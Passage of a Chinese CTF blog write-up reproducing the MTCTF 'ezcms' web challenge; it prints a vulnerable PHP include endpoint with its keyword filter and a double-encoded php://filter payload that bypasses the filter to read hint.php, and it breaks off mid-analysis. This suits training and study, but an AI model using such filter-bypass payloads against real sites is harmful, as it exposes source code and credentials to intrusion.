MTCTF复现[ezcms]

最新推荐文章于 2024-08-22 08:49:30 发布

o3Ev

最新推荐文章于 2024-08-22 08:49:30 发布

阅读量911

点赞数 3

分类专栏： # CTF复现文章标签： web

本文链接：https://blog.csdn.net/qq_51652864/article/details/117368504

版权

CTF复现专栏收录该内容

1 篇文章 0 订阅

订阅专栏

本文详细介绍了如何复现一个MTCTF挑战，涉及环境配置、文件读取漏洞、编码绕过及文件包含漏洞的利用。通过解析源码，构造payload，最终获取敏感信息。过程中发现了非预期解，即通过文件包含漏洞而非反序列化来执行代码。

摘要由CSDN通过智能技术生成

MTCTF复现[ezcms]
环境配置：

docker pull y4tacker/ez_yxcms:1.0

进入界面，目录扫描一下，得到：
在这里插入图片描述访问robots.txt：

在这里插入图片描述
在这儿找到密码，md5解密即可：attack

在这里插入图片描述
用户attack，密码attack登陆就可以了

看到头像处的url为

class/showImage.php?file=logo.jpg

应该可以进行文件读取，所以去掉logo.jpg，然后bp抓包，得到源码：

<?php


error_reporting(0);
if ($_GET['file']){
    $filename = $_GET['file'];
    if ($filename=='logo.jpg'){
        header("Content-Type:image/png");
        echo file_get_contents("../static/images/logo.jpg");
    }else{
        ini_set('open_basedir','./');
        if ($filename=='hint.php'){
            echo 'nononono!';
        } else{
            if(preg_match('/read|[\x00-\x24\x26-\x2c]| |base|rot|strip|encode|flag|tags|iconv|utf|input|convertstring|lib|crypt|\.\.|\.\//i', $filename)){
                echo "hacker";
            }else{
                include($filename);
            }
        }
    }
}else{
    highlight_file(__FILE__);
}

源码过滤了很多东西，但是可以用编码来进行绕过：
并且虽然过滤了read，但是可以不要read，因为这二者是等价的
payload：

php://filter/conv%25%36%35rt.bas%25%36%3564-encod%25%36%35/resource=hint.php

得到hint.php的内容：

<?php
//以下是class目录结构
/*
- class
    -- cache
    -- templates
        --- api
            - Api.php
        ---admin
            -add_category.php
            -category_list.php
            -edit_category.php
            -admin.php
            -footer.php
            -header.php
            -left.php
        - login.php
        - index.php
        - api.php
    -- auth.php
    -- file_class.php
    -- hint.php
    -- Medoo.php
    -- render_file.php
    -- showImage.php
    -- info.php
*/

依次读取各个源码，在auth.php里发现：
在这里插入图片描述
实例化了info，跟进info，发现：